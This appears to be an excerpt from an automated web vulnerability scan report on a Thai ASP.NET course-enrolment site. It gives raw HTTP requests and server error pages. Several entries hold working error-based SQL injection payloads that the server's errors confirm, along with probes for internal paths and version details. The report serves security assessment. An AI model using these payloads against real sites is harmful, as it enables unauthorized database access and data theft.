sn GET ' (select convert(int,CHAR(95) CHAR(33) CHAR(64) CHAR(50) CHAR(100) CHAR(105) CHAR(108) CHAR(101) CHAR(109) CHAR(109) CHAR(97)) FROM syscolumns) '

Request

GET /semreg/enroll.aspx?ow=FKH&cs=S0001&sn='+%20(select%20convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))%20FROM%20syscolumns)%20+' HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 14:03:05 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5063


<html>
<head>
<title>Line 1: Incorrect syntax near 'CHAR'.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Line 1: Incorrect syntax near 'CHAR'.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'CHAR'.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Line 1: Incorrect syntax near 'CHAR'.]
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) +723
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) +45
System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) +5
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:215
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Line 1: Incorrect syntax near 'CHAR'.
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
Forbidden Resource

Forbidden Resource

1 TOTAL
INFORMATION
CONFIRMED
1
Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.

Impact

There is no impact resulting from this issue.
- /

/ CONFIRMED

http://register2.set.or.th/

Request

GET / HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 403 Access Forbidden
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:34:53 GMT
Connection: close
Content-Type: text/html
Content-Length: 172


<html><head><title>Directory Listing Denied</title></head><body><h1>Directory Listing Denied</h1>This Virtual Directory does not allow contents to be listed.</body></html>
Microsoft SQL Server Identified

Microsoft SQL Server Identified

1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using Microsoft SQL Server as backend database. This issue is reported for information purposes only.

Impact

This issue is reported as additional information only, there is no direct impact arising from this issue.
- /semreg/enroll.aspx

/semreg/enroll.aspx CONFIRMED

http://register2.set.or.th/semreg/enroll.aspx?ow='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCH..

Request

GET /semreg/enroll.aspx?ow='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&cs=S0001&sn=0049 HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:37:33 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5630


<html>
<head>
<title>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.]
System.Data.SqlClient.SqlDataReader.Read() +157
System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping) +175
System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) +260
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) +129
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:215
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.
at System.Data.SqlClient.SqlDataReader.Read()
at System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping)
at System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
IIS Version Disclosure

IIS Version Disclosure

1 TOTAL
INFORMATION
Netsparker identified that the target web server is disclosing the web server's version in the HTTP response. This information can help an attacker to gain a greater understanding of the system in use and potentially develop further attacks targeted at the specific web server version.

Impact

An attacker can look for specific security vulnerabilities for the version identified through the SERVER header information.

Remediation

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /

/

http://register2.set.or.th/

Extracted Version

Microsoft-IIS/5.0

Request

GET / HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 403 Access Forbidden
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:34:53 GMT
Connection: close
Content-Type: text/html
Content-Length: 172


<html><head><title>Directory Listing Denied</title></head><body><h1>Directory Listing Denied</h1>This Virtual Directory does not allow contents to be listed.</body></html>
ASP.NET Debugging Enabled

ASP.NET Debugging Enabled

1 TOTAL
INFORMATION
Netsparker identified that ASP.NET Debugging is enabled.

Impact

This indicates that the debugging flag was left enabled in the production system. There is no direct impact of this issue and it is presented here only for information.

Remedy

Apply the following changes on your web.config file to disable ASP.NET debugging.
<System.Web>
     < compilation debug="false" /> 
</System.Web>

External References

- /semreg/detail.aspx

/semreg/detail.aspx

http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049

Request

DEBUG /semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:34:55 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 27


DEBUG request is not valid.
[Possible] Internal Path Leakage (Windows)

[Possible] Internal Path Leakage (Windows)

2 TOTAL
INFORMATION
Netsparker identified an internal path in the document.

Impact

There is no direct impact however this information can help an attacker either to identify other vulnerabilities or during the exploitation of other identified vulnerabilities.

Remedy

First ensure that this is not a false positive. Due to the nature of the issue. Netsparker could not confirm that this file path was actually the real file path of the target web server.

External References

- /semreg/enroll.aspx

/semreg/enroll.aspx

http://register2.set.or.th/semreg/enroll.aspx?ow=response.write(268409241-22)%27&cs=S0001&sn=0049

Identified Internal Path(s)

C:\Registration\SemReg\enroll.aspx.vb

Request

GET /semreg/enroll.aspx?ow=response.write(268409241-22)%27&cs=S0001&sn=0049 HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:35:07 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5068


<html>
<head>
<title>Line 1: Incorrect syntax near 'S0001'.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Line 1: Incorrect syntax near 'S0001'.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'S0001'.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Line 1: Incorrect syntax near 'S0001'.]
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) +723
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) +45
System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) +5
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:215
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Line 1: Incorrect syntax near 'S0001'.
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
- /semreg/detail.aspx

/semreg/detail.aspx

http://register2.set.or.th/semreg/detail.aspx?ow=response.write(268409241-22)%27&cs=S0001&sn=0049

Identified Internal Path(s)

C:\Registration\SemReg\detail.aspx.vb

Request

GET /semreg/detail.aspx?ow=response.write(268409241-22)%27&cs=S0001&sn=0049 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:36:03 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5066


<html>
<head>
<title>Line 1: Incorrect syntax near 'S0001'.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Line 1: Incorrect syntax near 'S0001'.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'S0001'.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Line 1: Incorrect syntax near 'S0001'.]
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) +723
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) +45
System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) +5
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:129
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Line 1: Incorrect syntax near 'S0001'.
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:line 129
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->